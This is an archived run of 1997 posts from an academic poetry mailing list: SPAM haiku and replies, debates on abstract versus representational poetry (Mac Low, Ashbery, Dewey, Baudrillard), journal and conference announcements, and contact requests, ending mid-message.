Back by popular demand...from the SPAM home page...be sure to check this important Web feature for collectible items, and show your support for Hormel's best selling by-product!

S P A M H A I K U S
Author Unknown

Cold, Pink, gelatinous mass,
The potted meat for which I crave,
Warns of impending earthquake.

Ears, snouts and innards,
A homogeneous mass.
Pass another slice.

Pink tender morsel,
Glistening with salty gel.
What the hell is it?

Cube of cold pinkness
Yellow specks of porcine fat.
Give me a spork please.

Old man seeks doctor.
"I eat SPAM daily", he says.
Angioplasty.

Highly unnatural,
The tortured shape of this "food".
A small pink coffin.

Hors d'oeuvre with great flair:
Spam, Vienna sausage, Chex.
Blend well with Cheez Whiz.

What are the clear parts?
My mind reels, thoughts turn to hooves.
I'd best just eat it.

We joke about SPAM
But secretly we think that
It tastes pretty good.

Watch the pink slab fry.
Its grease can lubricate eggs.
Get ketchup ready.

Spam on Wonder Bread.
He's allergic to sulfites.
Hives come after lunch.

Pressed, the cold slice soothes
Eye, a black-and-blue shiner.
SPAM, what useful stuff.

Parts of pigs o' plenty.
Sumptuous feet and tails.
Rub amber gel through hair.

You don't want to know
What they put in that tin can.
It's scary to think.

Drop a pig in a blender,
Add salt and dye:
The recipe for SPAM.

O D E T O S P A M
by Charlie Johnston

What shining deity from Olympus knelt
down to the earth and hog butt smelt?
Creating then man's eternal desire
for swine entrails congealed by fire.

Where are the Jack Collom SPAM ACROSTICS?

Love,
Lee Ann Brown

Currently reporting from Charlotte, NC where "Livermush" is made (Neese's Liver Pudding) (a combo of pork parts and grains) It's black, you slice it and then you fry it. It's like Southern Pate'. Also known as "Scrapple." I think I feel poetry coming on. I'll cheat and include one of my verses from "Amazing Grace" included in forthcoming book, "Polyverse" (Sun & Moon Press, hopefully Fall 1997) . . .

Amazing Grits! How sweet the Redeye
That flavored my Livermush!
Fried Okra, Collard Greens and Chicken, fried
Ice Tea, Lots of lemon, with Mint, crushed.

(Sing to the tune of Amazing Grace)

↑ Index

603. **Janet S. Gray**
CFP: Oswald/Ruby photo
Sat 21 Jun 1997

Forwarding this on the notion it will be of interest to some list members:

In-A-Gadda-Da-Oswald is a picture based on the iconic 1963 photo of Lee Harvey Oswald's murder. The photo was altered in Adobe Photoshop, placed on the internet, and quickly became a global fetish object, gracing walls from the Pentagon to the Australian outback, as well as being used as an instructional tool in journalism and English classes.

In-A-Gadda-Da-Oswald can be found at
http://www.tw-zone.com/cosmo/index.html

We are seeking essays, poems, or other forms of writing that analyze In-A-Gadda-Da-Oswald from the perspectives of cultural or aesthetic criticism, political analysis, parody, or other approaches. Creative and experimental work are welcome. Please limit submissions to 1000 words. Writers and thinkers of all ages and disciplines are invited to submit.

The deadline for submission is October 1, 1997. Send
submissions in ASCII by e-mail to
[redacted]

All submissions will be considered for inclusion in an
electronic journal, "Oswald in a Jam: Dissemination of
Popular Culture on the Internet."

↑ Index

604. **Bob Grumman**
Re: Nemes, Names, Lang Po, Viz Po
Sat 21 Jun 1997

Regarding Dean Taciuch's posting, granted, people are also objects, so to be precise I should speak of objects-which-aren't-people-centered poetry and objects-which-are-people-centered poetry. Better: nonsocial- object-centered poetry and social-object-centered poetry. For easy discussion, though, object-centered" and "people-centered" poetry seem reasonable to me.

Or maybe "pre-human-" or "pre-animal-" or "pre-organism-object-centered poetry versus "people-centered poetry" would be best: fewest words with no loss of precision.

I believe, by the way, that there are brain-sections devoted to people as people, and brain sections devoted to objects, including people as objects. There have been people with stroke-related or other brain- damage (if I remember it right)

who couldn't identify people but could identify objects. Other data supports this (I am sure I remember, but can't remember ANY details, so I surrender in advance to any challenges). If I'm right about this, it might be that one kind of poet is using more of certain brain areas than the other, and less of others. Maybe even working out of different areas.

Still just musing, Bob G.

P.S., I think there are abstraction areas in the brain, too, that are different from object-related areas. Another zone some work out of--like me, possibly too much of the time, I sometimes suspect.

↑ Index

605. **Judy Roitman**
Re: abstract personal
Sat 21 Jun 1997

> *- Henry Gould (with doo-be-doo John Dewey looking over his crow)*
>
> *p.s. seems to me that the MEDIUM of poetry taken up by Plath or Sexton is the very same one taken up by the language poets. & I don't see how the formalities imposed by the former are any more constricting or artificial than those of the latter. What does the poem do with its materials? This literary progress by short-term one-upmanship will tell us nothing. That is, it will tell you as little about Plath etc. as I can tell you about Silliman etc. the times change, the styles change... then they change back again...*

I think --- what the hell do I know, but I think --- it isn't the formalism that's at issue, it's the placing of things into convenient mythology. Or not. Better not to, even if the mythology is invented right there on the spot. E.g., (or is it c.f.?) E. Dickinson, who didn't. Sometimes.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

606. **David R. Israel**
haiku-gram
Sat 21 Jun 1997

Lee Ann --

thanks for that. Although I'm not enough of a spam buff (or for that matter spam antagonist -- just hasn't much been part of my life) to have a really proper response to the anonymous sequence, after sitting here counting out syllables &c, couldn't help but write an answering few. Thanks for the haiku-gram (& amazing grits).

SUMMER SOLSTICE

Humid in DC!
the air-conditioner hums
& just the first day!

in darkness I type
is this the post-mod lifestyle?
my basement outpost

forget the spam-po
what I'd really like to see
is donut haiku

buttermilk sugar
they knead me & they fry me
none taste the center

cheers,
d.i.

```
 .
 .....
 ............
 \\\\
```

"Gracchus loves all as one, and thinks that so
As women do in divers countries go
In divers habits, yet are still one kind,
So doth, so is religion; and this blind-
Ness too much light breed;"

from Satire 3, c.1593

Jonson, a little later:

"O, these so ignorant monsters! Light, as proud,
Who can behold their manners, and not cloud-
Like upon them lighten?"

from "An Epistle to a Friend, to Persuade Him to the Wars"

Gary R

↑ Index

608. **Dean Taciuch**
Re: Nemes, Names, Lang Po, Viz Po
Sat 21 Jun 1997

> *Regarding Dean Taciuch's posting, granted, people are also objects, so to be precise I should speak of objects-which-aren't-people-centered poetry and objects-which-are-people-centered poetry. Better: nonsocial-object-centered poetry and social-object-centered poetry. For easy discussion, though, object-centered" and "people-centered" poetry seem reasonable to me.*
>
> *Or maybe "pre-human-" or "pre-animal-" or "pre-organism-object-centered poetry versus "people-centered poetry" would be best: fewest words with no loss of precision.*

Actually, I think perhaps it's too precise--making distinctions where they're not needed. Or at least such a distinction is in fact the question (not an answer). I'm thinking here of Olson's Projective Verse, among other things; the idea that one treats the self as an object in a field of objects.

Dean

↑ Index

609. **Bob Grumman**
Re: Nemes, Names, Lang Po, Viz Po
Sat 21 Jun 1997

So Donne donne hyphenated word-breaks at ends of lines long before Hopkins. Whaddya know! Thanks, Gary R.

As for Dean T's bringing in Olson's idea that one treats the self as an object in a field of objects to support Dean's belief that we don't need to distinguish pre-human-object-centered poetry from people-centered poetry (if I have him right), it still seems to me there'd be a significant difference between the self in a field of non-human objects and the self in a field of people-objects. A field of words is different from a field of rocks is different from a field of people even if we accept words, rocks and people all as objects. Or am I missing something?

--Bob G.

↑ Index

610. **main**

Re: representation

Sat 21 Jun 1997

On Sat, 21 Jun 1997, David R. Israel wrote:

> *Similarly, perhaps (in a manner of speaking) the personal is itself a matter of the abstract -- a particular case thereof. Or should we rather phrase this vice versa?*

the roman's _persona_ was something to sound through, a face mask fronting the voice you stood behind; so we get person(s) from artifice. _personae_: multiple masks of some one mythical face no one ever saw on stage.

personal/abstract, concrete/abstract, personal/impersonal... stein and creeley were set forward as examples of the abstract and concrete respectively, and sexton as an example of the personal. how, precisely, is the personal being configured? perhaps it'd be useful to look at specific uses of language from, say, stein and sexton. someone proposed narrative as an attribute of the personal. how is narrative being defined? is the personal a matter of how narrative is employed (tonal shifts, tense shifts, uses of grammar, singular and cohesive speech-act versus polyvocal and conflicting speech-acts, and so on)? from the examples given, there seems to be an implied connection between the personal and normative grammar and syntax: ? if sexton's work is an example of the personal, how is this determined: use of first-person? personal-historical details? normative syntax and temporal sequence? lack of self-reflexivity in the poems? conversely, is stein's work, then, impersonal/abstract/concrete, and why? anyone wanna propose two specimens for close-reading? best, dan featherston

↑ Index

611. **Jordan Davis**
representation and separability
Sat 21 Jun 1997

At 5:39 PM -0500 6/21/97, Dean Taciuch wrote:
>Representational work
>has separable content, nonrepresentational work doesn't (or its separable
>content is unimportant).
>
>I'm seeing this question of content come up in my classes, as I'm trying to
>cover Mac Low and Cage. . .there is a resistance on the part on the
>students (undergraduate), which I think is due to their not being able to
>say what the poems are "about." At least that's how they've expressed the
>discomfort to me.
>The work seems "abstract" to them because there's no separable content,
>nothing they can paraphrase when someone asks them "what's that poem
about"

Dean -- I disagree wildly. You are correct to suggest that the separable content may be _intended_ to be unimportant -- but it is nonetheless _there_, like the pigment Williams alluded to. The resistance of your students is a real resistance -- the differences of tone, style, whatever, between different works in which ordinary syntax is kaput or in which the so-called materiality of language is allegedly foregrounded -- these are real differences of what we stereotype as meaning. Not much mistaking 'Fits of Dawn' for 'I Don't Have Any Paper' or 'Toner' or 'Tone Arm' or Zukofsky's translation of Catullus. (Though

This issue of the importance of the separability of prose meaning from abstract writing is the main issue (as I see it, anyway) in the interview between John Ashbery and Kenneth Koch, collected by Anne Waldman in the anthology _Out of this World_. The interview (which apparently was conducted on a typewriter and not out loud -- a significant detail for an interview in which Ashbery explains that the subject of his poetry is people and objects) has an apprehensive Koch teasing out the meaning of some Tennis Court Oath era-lines, and a diffident Ashbery just teasing.

Tuba lure only,
Tea glass hyena,
Jordan
Tea glass hyena.

↑ Index

612. **Dean Taciuch**
Re: representation
Sat 21 Jun 1997

Another way to frame the "abstract vs personal" or "concrete vs personal" discussion might be to consider separable or paraphrasable content. "Personal" might (might) be considered as something which the work can be said to be "about" if there is an "about" to it. That is, representation vs nonrepresenation, as David Israel has posed it. Representational work has separable content, non-representational work doesn't (or its separable content is unimportant).

I'm seeing this question of content come up in my classes, as I'm trying to cover Mac Low and Cage. . .there is a resistance on the part on the students (undergraduate), which I think is due to their not being able to say what the poems are "about." At least that's how they've expressed the discomfort to me. The work seems "abstract" to them because there's no separable content, nothing they can paraphrase when someone asks them "what's that poem about" (of course, that's not the question I ask them. That's not the question at all)

Dean

↑ Index

613. **Piombino/Simon**
Re: representation
Sat 21 Jun 1997

Hi Dean Taciuch,
I wonder if it might help to approach Cage and Mac Low's writing to students with difficulties like this by introducing them to their music as a parallel effort at dealing with meaning in more oblique ways than is usually expected. I would like to suggest, in particular, Jackson Mac Low's amazing relatively new cd "Open Secrets" (1993 Experimental Intermedia Foundation 224 Centre Street,New York,N.Y> 10013). Here are some of the cuts:
1. 1st Milarepa Gatha
2. Milarepa Quartet for Four Like instruments
3. Thankss
4. Winds/Instruments
5. 38th and 39th Merzgedichte in Memoriam Kurt Schwitters
6. Phoneme Dance in Memoriam John Cage
This album is an amazing mix of pure music (as in Winds/Instruments, which evokes an almost melodically harmonic,lyricized Webern) and the Milarepa Gothas which are spoken word, but for many voices, prominently Ann Tardos, all of which show the presence of Mac Low's precision of unexpectable

soundings. The Winds/Instruments particularly reminded me of something Mac Low once said to me when he and I did a collaborative reading with Charles Bernstein at the Living Theater some years ago.The direction he kept coming back to was:"Real silences."
Best wishes,
Nick P. On Sat, 21 Jun 1997, Dean Taciuch
wrote:

> *Another way to frame the "abstract vs personal" or "concrete vs personal" discussion might be to consider separable or paraphrasable content. "Personal" might (might) be considered as something which the work can be said to be "about" if there is an "about" to it. That is, representation vs nonrepresenation, as David Israel has posed it. Representational work has separable content, nonrepresentational work doesn't (or its separable content is unimportant).*
>
> *I'm seeing this question of content come up in my classes, as I'm trying to cover Mac Low and Cage. . .there is a resistance on the part on the students (undergraduate), which I think is due to their not being able to say what the poems are "about." At least that's how they've expressed the discomfort to me.*
> *The work seems "abstract" to them because there's no separable content, nothing they can paraphrase when someone asks them "what's that poem about" (of course, that's not the question I ask them. That's not the question at all)*
>
> *Dean*

↑ Index

614. **Dean Taciuch**
Re: representation, separability, self
Sat 21 Jun 1997

Jordan Davis wrote:
>Dean -- I disagree wildly. You are correct to suggest that the separable
>content may be _intended_ to be unimportant -- but it is nonetheless
>_there_, like the pigment Williams alluded to. The resistance of your
>students is a real resistance -- the differences of tone, style, whatever,
>between different works in which ordinary syntax is kaput or in which the
>so-called materiality of language is allegedly foregrounded -- these are
>real differences of what we stereotype as meaning.

Meaning and content are different things. Nonrepresentational (abstract) works certainly have meaning (they _mean_ far more, that is, in more ways, than do represenational works). But the paraphrasable content (the descriptive, the referential) is not as important.

> *This issue of the importance of the separability of prose meaning from abstract writing is the main issue (as I see it, anyway) in the interview between John Ashbery and Kenneth Koch, collected by Anne Waldman in the anthology _Out of this World_. The interview (which apparently was conducted on a typewriter and not out loud -- a significant detail for an interview in which Ashbery explains that the subject of his poetry is people and objects) has an apprehensive Koch teasing out the meaning of some Tennis Court Oath era-lines, and a diffident Ashbery just teasing.*

Well, having just tried teaching _Tennis Court Oath_ I'd sure like to have found that interview. But certainly the lines in the TCO poems have meaning; what they lack is a clearly defined referent. They will, in the course of one's reading, find a referent (via the reader) so they become meaningful. If the reader is reluctant to do this (if he or she assumes, for example, that "that's the writer's job, not mine,") then it all looks meaningless.

And, in an effort to keep my posts down today (nothing from me in over a month, then, what, four posts today?) I'll respond to Bob Grumman's last here too:

Bob Grumman wrote:
>As for Dean T's bringing in Olson's idea that one treats the self as an
>object in a field of objects to support Dean's belief that we don't need
>to distinguish pre-human-object-centered poetry from people-centered
>poetry (if I have him right), it still seems to me there'd be a
>significant difference between the self in a field of non-human objects
>and the self in a field of people-objects. A field of words is
>different from a field of rocks is different from a field of people even
>if we accept words, rocks and people all as objects. Or am I missing
>something?

Well, it's not that as though we don't make this distinction (human vs nonhuman) all the time; what I'm suggesting is that the "significant difference" is not obvious or something to be taken for granted when it comes to writing.

I am a person / "I" is an object.

Dean

↑ Index

615. **Jay Schwartz**
Re: announce POTEPOETZINETHREE ----
Sun 22 Jun 1997

Sign me up for a subscription please- I saw this on the Poetics List.

My e-mail is [redacted].

looking forward to it,

Jay

↑ Index

616. **Michel Delville**
Hughes's theory of decline / Baudrillard's art conspiracy
Sun 22 Jun 1997

Reading yesterday's postings on Hughes' attacks on contemporary art, I was reminded of an interview Jean Baudrillard published in a recent issue of the French magazine, *artpress*. The interview itself was published as a "droit de réponse" to the uproar caused in the art world by Baudrillard's article, "The Art Conspiracy" (first published in the 20 May issue of *Libération*), in which he develop his own theory of decline, arguing that we are all simultaneously conned by and complicit with the "theatricality" of the art scene. What Baudrillard is taking issue with, however, is not so much the art world as the "aesthetics" that surrounds it, namely "that added value or cultural veneer behind which intrinsic value disappears". "We can no longer pin down the object," Baudrillard goes on, "all we have are the surounding discourses or an accumulation of visions that end up forming an artificial aura." (*artpress* no. 216, Sept. 1996).

I suppose there's nothing wrong with seeing art as a simulacrum or defining the art market as a system of easily consumable signs, but there's a rather disturbing form of nostalgia behind all this which some may find extremely compromising, if not altogether reactionary. Mourning the singularity of the lost object, dreaming of a pre-poststructuralist world in which images are still connected to the world out there, etc. And yet, as Baudrillard himself hastens to add, dodging accusations of aesthetic and political conservatism: "I know that object does not exist, no more than truth does, but I maintain the desire for it through a way of looking which is a kind of absolute, a divine judgement, and which reveals the insignificance of all other objects. This nostalgia is fundamental. It is lacking in all kinds of contemporary art. it is a kind of mental strategy which ensures that one makes proper use of the void." Baudrillard's own "art" photographs are a case in point but seem less nostalgic than epigonic, looking back

as they do on the glazed, faded super-realism of Edward Hopper or the early David Hockney.

Too bad Baudrillard -- just like Hughes, I suppose though I did not have a chance to see the TV programme in question -- puts Jeff Koons, Jesus Rafael Soto, Anselm Kiefer (a very nostalgic artist if there ever was one) and others into the same basket. Of course, the main limitation of Baudrillard's theories about anything has always been their refusal to approach the social and cultural specifics of the subjects he's trying to demystify and "decode". . .

Michel Delville
English Department
University of Liège
3, Place Cockerill
4000 LIEGE
(BELGIUM)

Fax: ++ 32(0)4 366 57 21
e-mail: [redacted]

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617. Michel Delville

query / Stein

Sun 22 Jun 1997

Dear listers:

could anybody please backchannel me with the address (and, if possible, the fax number) of the Estate of Gertrude Stein ?

Many thanks -- yours desperately,

Michel Delville
English Department
University of Liège
3, Place Cockerill
4000 LIEGE
(BELGIUM)

Fax: ++ 32(0)4 366 57 21
e-mail: [redacted]

↑ Index

618. **rsillima**

Paint, he sd, or move objects around, ride a horse, box, etc.

Sun 22 Jun 1997

Dear Pat,

LP's relation to painting? An interesting question, although I doubt that it's one with any kind of conclusive, easy to summarize response. I've heard at least one person argue, with reasonably convincing terms, that I at least have been as deeply influenced by Lucy Lippard's art criticism as by any artist (specifically her work, Six Years: the Dematerialization of the Art Object). And there have always been lots of painters and visual artists around, including Susan Bee, Doug Hall, Diane Hall, Francie Shaw, John Woodall, Jill Scott, Jock Reynolds and Lee Sherry, well as publishers (notably Geoff Young and Douglas Messerli) who made great use of their connections to the art world for many, many great covers, writers whose work often took on aspects that were all but indistinguishable from other art forms (Johanna Drucker's books, Steve Benson's performances, Grenier's scrawl). Hannah Weiner and Jackson Mac Low were both acknowledged by the performance art world even before there was a collective identity to something like langpo. Abby Child was a great filmmaker already by the time she began writing.

But another way to look at all these inchoate references would be just to see how much langpo ("a moment, not a movement") was a phenomenom of the 1970s and look at the visual arts of that decade. It was very much an "in between" period and not surprisingly conceptual and performance art were at their most influential during that period. I really got to know Kathy Acker, for example, through our attending the Bluxome Street events around 1974 when David Anderson sponsored 30 performances by Bay Artists (Tom Marioni, Terry Fox, etc.) in part to really prod that scene (which in turn led to the SF Art Dealers Association, which was always trying to get those things out of their galleries where (1) they couldn't sell it and (2) it too often stained the wall to wall carpeting, to "donate" half of their collective storage facility on Langton Street, leading thus to the creation of 80 Langton (now New Langton Arts and around the corner on Folsom). Events at the Museum of Conceptual Art (Marioni's loft as I recall) on 3rd Street were popular, always followed by drinks at Jerry's & Johnny's (where the Marriott Jukebox is now I think).

Later, Jill Scott (an Australian artist who's been back there now for many many years) and I co-hosted a series at The Farm in SF, one performance artist and one poet on each bill. One of the things which fascinated performance folks about the SF langpo scene was that there seemed to be a shared vocabulary in which writers could talk and learn from one another while no two performance artists seemed to be doing even remotely the same thing, so it was very difficult

to even discuss the work and actually no particular impetus to go see what X was doing because it wouldn't have any impact on your work anyway.

By performance art, I mean the conceptual side of that. The physical theater community (George Coats, etc.) was a totally different scene and while there some folks, like George Lakoff, who were very active with it, it never really connected in the same way. But that may be the bias of my own perspective speaking.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

↑ Index

619. David R. Israel
"*the scholarly monograph in crisis*"
Sun 22 Jun 1997

Poetas,

summer daze, weekend Poetics traffic being slower, I'll borrow some bandwidth to forward the better part of an announcement I got from another listserv. I'm no academic and have no personal involvement in what's discussed. That being so, I found it a bit interesting for its metaphorical shades -- reminding of issues in the Po world, etc.

cheers,
d.i.

> *----------*
> *Subject: CONFERENCE: THE SPECIALIZED SCHOLARLY MONOGRAPH IN CRISIS*
> *Date: Thu, 12 Jun 97 13:50:33 -0500 From: H-Net News and Announcements Editor <*[redacted]*>* **********
>
> *THE SPECIALIZED SCHOLARLY MONOGRAPH IN CRISIS*
>
> *OR, HOW CAN I GET TENURE IF YOU WON'T PUBLISH MY BOOK?*

SEPTEMBER 11-12, 1997
WASHINGTON, DC

CONFERENCE SPONSORED BY:

AMERICAN COUNCIL OF LEARNED SOCIETIES
ASSOCIATION OF AMERICAN UNIVERSITY PRESSES
ASSOCIATION OF RESEARCH LIBRARIES

"Saving 'Tenure Books' From a Painful Demise"
Chronicle of Higher Education, 11/1/96

"Profit Squeeze for Publishers Makes Tenure More Elusive"
New York Times, 11/18/96

Recent headlines in the New York Times and the Chronicle of Higher Education warn of the dangers posed by the threat to the specialized scholarly monograph. The primary market for specialized monographs--research libraries--has been burdened over the past decade with significant increases in the costs of science and technology journals, resulting in dramatic decreases in monographic purchases. Faced with this eroding market and declining subsidies from both universities and funding agencies, university presses can no longer afford to publish the specialized research which is central to their mission. As a consequence, young faculty are not getting tenured or promoted, undermining the future of education and scholarship in the humanities and social sciences.

This conference on the specialized scholarly monograph brings together faculty, administrators, publishers, and librarians to focus attention on an issue central to the entire academic enterprise. It examines the current state of scholarly communication and explores the potential of new technologies to provide both new means of dissemination and new formats for conducting research and communicating the results.

The conference examines:
** the issues involved in the creation and dissemination of scholarly communication from the perspectives of a university administrator, scholar, publisher, and librarian; * the functions and costs involved in the scholarly communication process, examining the factors which have contributed to the endangered status of the monograph; * expectations for young faculty, and how and why they are changing; * how the issues differ across fields and disciplines and how these variables affect the decisions made by the presses; * current experiments in monographic publishing; and * new frameworks in scholarly communication and how these might provide new models for creation and dissemination of research.*

> *SPEAKERS INCLUDE:*
> *John D'Arms, ACLS*
> *Charles Beitz, Bowdoin College*
> *Scott Bennett, Yale University Library*
> *Stanley Chodorow, University of Pennsylvania*
> *Colin Day, University of Michigan Press*
> *Sandria Freitag, American Historical Association*
> *Joanna Hitchcock, University of Texas Press*
> *Steve Humphrey, University of California, Santa Barbara*
> *Robert Langenfeld, University of North Carolina, Greensboro*
> *Peter Nathan, University of Iowa*
> *Teresa Sullivan, University of Texas at Austin*
> *Marlie Wasserman, Rutgers University Press*
> *Robert Wedgeworth, University of Illinois at Urbana-Champaign Library*
>
> *PROGRAM OUTLINE*

<snip> { I'll spare you those particulars; the conference is being held at a Marriott, across the street from my office in DC -- so if anyone were actually to go, you're welcome to send me an e-m & I'll say hi - d.i. }

> *For more information or to register online, see*
> *<http://arl.cni.org/scomm/epub/program.html>*
>
> *Mary Case, Director*
> *Office of Scholarly Communication*
> *Association of Research Libraries*
> *21 Dupont Circle, N.W., Suite 800*
> *Washington, D.C. 20036*
> *[redacted] X112*
> *Fax: [redacted]*
> *Internet: [redacted]*

↑ Index

620. **GrahamD**
Re: representation
Sun 22 Jun 1997

What IS the question you ask them?

Curiously,

David Graham
[redacted]

From: UB Poetics discussion group on Sat, Jun 21, 1997 4:48 PM
Subject: Re: representation
To: [redacted]

<<<<<<<<<<<<< The work seems "abstract" to them because there's no separable content, nothing they can paraphrase when someone asks them "what's that poem about" (of course, that's not the question I ask them. That's not the question at all)

Dean<<<<<<<<<<<

↑ Index

621. **Daniel Tessitore**
Re: bio sphere
Sun 22 Jun 1997

Maria Damon and EVD had this exchange:
 and of course those
> categories are highly dependent on context, what i know of the poem, poet,
> or cultural work the poem does or intends. in one context a work is
> interesting, in another, it's boring or seems out of place.

I would go farther and say that from a poet or artist about whom I have one set of information (one code of desires) a work will seem boring, while from another the same exact work would be compelling, make me sick with yearning...and isn't that the name of the game. _____

I'll throw my ignorance out on the table--what game is this and how does one play it? can you provide an example (is it possibe?) of identical work being compelling if written by poet A and boring if written by poet B?

Doesn't this show that intimate knowledge of the circumstance's of the writer's life can as easily be a detriment (at least a limitation) to your reading?

DT

↑ Index

622. **John Kinsella**
What's in a name? Salt 10 poetry journal
Sun 22 Jun 1997

I've just received an advance copy of Salt 10 - you'll find work by writers from France, Sweden, England, USA, NZ, and Australia in there:

Adam Aitken
Pierre Alferi
Rae Armantrout
Karen Attard
Charles Bernstein

Andrea Brady
Veronica Brady
Andrew Burke
Helene Cixous
Maryline Debiolles
Gunnar Harding
Lyn Hejinian
Paul Hoover
David Howard
Paul Kane
Steve Kelen
John Kinsella
Andrew Lansdown
James Lucas
Jennifer Maiden
Rod Mengham
Douglas Messerli
Peter Minter
Les Murray
Travis Ortiz
Loss Pequeno Glazier
Simon Perchik
Marjorie Perloff
Peter Riley
Zan Ross
Frances Rouse
Tracy Ryan
Michael Sharkey
Ron Simms
Kathleen Stewart
Keston Sutherland
John Tranter
Karlien van den Beukel
Brenda Walker
Alan Wearne
John Wilkinson

Enjoy

Best
John K

↑ Index

623. **jarnot**
brathwaite
Sun 22 Jun 1997

---

i'm trying to get in touch with kamau brathwaite re: a reading. if anyone has info, please back channel me. thanks. lisa jarnot

↑ Index

624. **John Kinsella**
Salt poetry journal sub details
Sun 22 Jun 1997

Salt sub details: $33.95 for two issues (plus a free copy of Salt 9)
for airmail o/s add $20, for surface add $8
$67.80 for four issues (plus a free copy of Salt 9)
for airmail o/s add $40, for surface add $16

Cheques, money orders, or payment by credit card welcome. All payments must be in Australian dollars.

Please send to: Fremantle Arts Centre Press
PO Box 320
South Fremantle 6162
Australia
Fax: 61 8 9430 5242
Email: [redacted]

Salt 10 (320pp) has been printed and is about to be released.

Best
John Kinsella

↑ Index

625. **henry g**
Re: representation
Sun 22 Jun 1997

On Sat, 21 Jun 1997 13:47:34 -0400 David R. Israel said:
>
>I guess in painting, the "representational" has often been posited as
>the contrary of the "abstract." Or one hears of "representational"
>vs. "nonrepresentational" painting. In both painting and poetry,
>narrative also has something to do with these fulcra, sometimes.

Point well taken, as was Judy Roitman's about the gratuitous or meretricious use of accepted mythologies as a kind of "representation." But then, what is the current mythology? I remember reading Ashbery's "Tennis Court Oath" as a 19-yr old & responding to it's non-represent- ational gratuitous non-sense with joy & fascination. Now I read it & say "so what?" & feel sorry for the next generation having to "study" it in classes... why this drastic shift in response? Because I think the "abstract" non-representational in poetry is a function of the mythology of Symbolism that Valery noted & that I mentioned a few weeks (days?) ago - it amounts to an aesthetic summed up in one phrase: _epater le bourgoisie_.(have I got that right?) Refuse to please the masses.

To Judy: I don't think Plath is as great an artist as E. Dickinson but I don't think their approaches were so different: they juxtaposed private experience and the literary & religious forms of the day.

Every work of art abstracts from reality in some degree. But I think even non-representational art is evocative of lived experience and actually proceeds from roots in lived experience. I agree with Dewey that the expressive effect of art comes from its fusion of form & substance, and from the re-working of experience in a new kind of order. Sorry for what sound like cliches - but you shd read _Art as Experience_ by Dewey for a trumping of these false dichotomies (form/content, abstract/personal, idea/matter, etc.) & a concentration on what art really is - a kind of moving/vitalizing experience DEVELOPING OVER TIME (in countless minute gradations of development. who wants to talk about "development" as a criterion? as opposed to "innovative" or "pioneering" for a while. we already love the avant-garde.)

I don't think there is such a thing as non-representational poetry. Or impersonal. The one would be meaningless, the other generic (factory-made). There IS such a thing as personal noise (I've made some myself) but poetry is a kind of art & gets free of the maker & available to the audience as something more than noise (i.e. experiential meaning - even if it's not "cognitive", just "poetic" or expressive). - Henry Gould

↑ Index

626. **henry g**
Re: representation
Sun 22 Jun 1997

---

postscript. there is no non-representational poetry. Music is mostly non-representational (except on an emotional level). Painting can be either; an abstract painting doesn't "mirror" ordinary sight the way a representation does, thus it's not an "image" of an exterior reality. But language is always already representational. Every word in a Mac Low poem (Mac Low could be taken as the

refutation of all my comments on this list over many subjects) represents a number of things; the aleatory correlation of individual words begins to represent things in a vague way or surprising way. "Language poetry" [Henry doesn't know what it is either] may close down ordinary "speech" but it doesn't cancel representation; the poem "x" or "y" represents a member in good standing of the alphabet.

The odd thing about a lot of innovative poetry that aims to escape the commodified "self" of "ordinary" poetry is that it comes off as purely gratuitous SELF-expression. This may come back to the gnarled question of "voice" and the deeper impulse toward art-making. The necessity involved in forming a "persona", a mask, a speaker - & all the narrative correlations that entails - might make for a much RICHER poetry than the fashionable dictates of the unfashionable "text". - Henry gould

↑ Index

627. Thomas Bell
fluent narratolgy
Sun 22 Jun 1997

I have been reading Andrew Gibson's account of Michel Serres's ideas about "fluent" (nongeometric) narratology. I'm a newcomer to this idea and it seems primarily to focus on prose. I would be interested in sources and ideas about a similar approach to poetry. tom bell

↑ Index

628. Pam Brown
address please
Sun 22 Jun 1997

"And there have always been lots of painters and visual
artists around, including Susan Bee, Doug Hall, Diane Hall, Francie Shaw,
John Woodall, Jill Scott,"

Apologies for using the list to seek...but I have been trying to find JILL SCOTT for months now - I know she's moved to Germany & is listed on a web site there but no email or postal address...& her Sydney dealer is definitely unhelpful in furnishing a contact address...does anyone have it please?

Thankyou
Pam BRown

↑ Index

629. **Hank Lazer**
Re: XCP
Sun 22 Jun 1997

Yunte--

Just wanted to let you know that our Minneapolis panel has been accepted, officially. Mark & Maria sent me info on registration, hotels, etc. If you didn't get the same packet, let me know & I'll photocopy it & send it to you.

Here, catching up from the aftermath of Julie's wedding. It went well, with lots of overeating, drinking, and general merriment. My new job has me extremely busy--yes, no golf these days. A little time for reading & writing. Some time too for a mysterious stomach ailment (sort of like my post-China stomach problems--intense pain).

Alan & I saw Batman & Robin yesterday--amazing sets, special effects, zap zap zap....

Hope you are doing well. Is Julia getting ready to move to NYC?
Will you move to another place in Buffalo? How goes the dissertation?

Love,

Hank

↑ Index

630. **Bob Grumman**
Re: representation
Sun 22 Jun 1997

To follow up on what Henry G. said about there being no non-representa- tional poetry because that area is where I feel most out of it as a would-be understander of ALL poetry. I, too, think non-representa- tional poetry not possible. However, there IS non-representational textuality. On the page it's what I call "textual illumagery" or a form of visual art that uses graphemes (yes, back to phemes) or . . . typophemes (typographical symbols) to dot out some kind of graphic work, representational or non-representational. I have all kinds of trouble with my fellow visual poets in getting them to agree that this kind of thing, which I like as much and consider as high an art as visual poetry, is not poetry. It's visual art--or, in my lexicon, illumagery.

Orally, non-representational textuality is textual music, or music made out of phonemes. Both kinds of non-representational textualities tend toward representationality, though, word-fragments tending inevitably to suggest full words.

Either kind of textual non-poetry has its unique tone, and is valuable for being able to say things about language in expressive modalities other than the verbal.

--Bob G.

↑ Index

631. **Steven Marks**

Re: haiku-gram

Sun 22 Jun 1997

On Sat, 21 Jun 1997, David R. Israel wrote:

>
> SUMMER SOLSTICE
>
> Humid in DC!
> the air-conditioner hums
> & just the first day!
>
> in darkness I type
> is this the post-mod lifestyle?
> my basement outpost
>
> forget the spam-po
> what I'd really like to see
> is donut haiku
>
> buttermilk sugar
> they knead me & they fry me
> none taste the center
>
the center holds holes
something to nibble around
no mess on my hands

sumer is icumen in, says Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

632. **George Bowering**
Re: abstract personal
Sun 22 Jun 1997

> *stephen ellwood asked:*
>
